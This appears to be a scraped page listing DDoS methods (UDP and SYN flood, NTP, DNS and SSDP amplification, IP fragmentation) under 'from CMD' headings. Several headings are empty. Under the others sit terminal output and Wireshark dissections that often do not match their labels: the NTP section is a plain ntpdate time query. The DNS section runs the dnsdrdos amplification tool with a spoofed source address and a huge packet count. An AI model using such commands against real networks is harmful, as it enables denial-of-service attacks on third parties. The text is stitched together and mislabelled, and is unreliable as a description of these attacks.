

UDP Flood Attack from CMD:

SYN Flood Attack from CMD:

NTP Amplification from CMD:

```
root@kali:~# ntpdate -d 192.168.119.243
5 May 15:31:39 ntpdate[5133]: ntpdate 4.2.6p5@1.2349-o Sat May 12 09:07:19 UTC 2012 (1)
transmit(192.168.119.243)
receive(192.168.119.243)
transmit(192.168.119.243)
receive(192.168.119.243)
transmit(192.168.119.243)
receive(192.168.119.243)
transmit(192.168.119.243)
receive(192.168.119.243)
server 192.168.119.243, port 123
stratum 3, precision -22, leap 00, trust 000
refid [192.168.119.243], delay 0.02592, dispersion 0.00005
transmitted 4, in filter 4
reference time: d7126587.f5849c13 Mon, May 5 2014 15:31:19.959
originate timestamp: d71265a1.7e8d62bd Mon, May 5 2014 15:31:45.494
transmit timestamp: d71265a1.7a230c40 Mon, May 5 2014 15:31:45.477
filter delay: 0.02592 0.02597 0.02614 0.02597
0.00000 0.00000 0.00000 0.00000
filter offset: 0.016891 0.016943 0.016980 0.016971
0.000000 0.000000 0.000000 0.000000
delay 0.02592, dispersion 0.00005
offset 0.016891

5 May 15:31:45 ntpdate[5133]: adjust time server 192.168.119.243 offset 0.016891 sec
root@kali:~#
```

DNS Amplification from CMD:

```
File Edit View Search Terminal Help
root@Priviassec:~/Desktop# ./dnsdrdos -f publicDns.txt -s 192.168.30.1 -l 1000000000000
-----
dnsdrdos - http://www.nullsecurity.net/
-----
^C
root@Priviassec:~/Desktop# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.30.137 netmask 255.255.255.0 broadcast 192.168.30.255
    inet6 fe80::20c:29ff:feb5:a09f prefixlen 64 scopeid 0x20<link>
    ether 00:0c:29:b5:a0:9f txqueuelen 1000 (Ethernet)
    RX packets 15012 bytes 18156195 (17.3 MiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 4157171 bytes 290999739 (277.5 MiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

SSDP Amplification from CMD:

```
udp contains 0a:53:54:3a
43 0.008619 190.172.65.251 149.140.64.24 SSDP 270 HTTP/1.1 200 OK
28 Frame 43: 270 bytes on wire (2160 bits), 270 bytes captured (2160 bits)
29 Ethernet II, Src: ..., Dst: ...
30 Destination: ...
31 Source: ...
32 Type: 802.1Q Virtual LAN (0x8100)
33 802.1Q Virtual LAN, PRI: 0, CFI: 0, ID: 203
34 000. .... = Priority: Best Effort (default) (0)
35 ... .. = CFI: Canonical (0)
36 ... 0000 1100 1011 = ID: 203
37 Type: IP (0x0800)
38 Trailer: 1e805cda
39 Internet Protocol Version 4, Src: 1..., Dst: 14...
40 Version: 4
41 Header Length: 20 bytes
42 Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00: Not-ECT (Not ECN-Capable Transport))
43 Total Length: 248
44 Identification: 0x0000 (0)
45 Flags: 0x02 (Don't Fragment)
46 Fragment Offset: 0
47 Time to live: 51
48 Protocol: UDP (17)
49 Header checksum: 0x70a9 [validation disabled]
50 Source: 1...
51 Destination: 1...
52 [Source GeoIP: unknown]
53 [Destination GeoIP: unknown]
54 User Datagram Protocol, Src Port: 1900 (1900), Dst Port: 1025 (1025)
55 Source Port: 1900 (1900)
56 Destination Port: 1025 (1025)
57 Length: 228
58 Checksum: 0x8bce [validation disabled]
59 [Good checksum: False]
60 [Bad checksum: False]
61 [Stream Index: 11]
62 Hypertext Transfer Protocol
63 HTTP/1.1 200 OK\r\n
64 [Expert Info (Chat/Sequence): HTTP/1.1 200 OK\r\n]
65 Request Version: HTTP/1.1
66 Status Code: 200
67 Response Phrase: OK
68 CACHE-CONTROL: max-age=120\r\n
69 ST: upnp:rootdevice\r\n
70 USN: uuid:f7b5a9c0-13fa-11e0-8730-e47723991d04::upnp:rootdevice\r\n
71 EXT:\r\n
72 SERVER: miniupnpd/1.0 upnp/1.0\r\n
73 LOCATION: http://192.168.1.1:57850/rootDesc.xml\r\n
74 \r\n
75 [HTTP response 1/32]
76 [Next response in frame: 58]
```

IP Fragmentation from CMD:

```
Internet Protocol Version 4, Src: 10.2.2.2 (10.2.2.2), Dst: 192.168.0.105 (192.168.0.105)
Version: 4
Header length: 20 bytes
Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00: Not-ECT (Not ECN-Capable Transport))
Total Length: 572
Identification: 0x3382 (13186)
Flags: 0x01 (More Fragments)
0... .... = Reserved bit: Not set
.0... .... = Don't fragment: Not set
..1. .... = More fragments: Set
Fragment offset: 0
Time to live: 62
Protocol: TCP (6)
Header checksum: 0x5a25 [correct]
Source: 10.2.2.2 (10.2.2.2)
Destination: 192.168.0.105 (192.168.0.105)
Reassembled IPv4 in frame: 15
Data (552 bytes)
```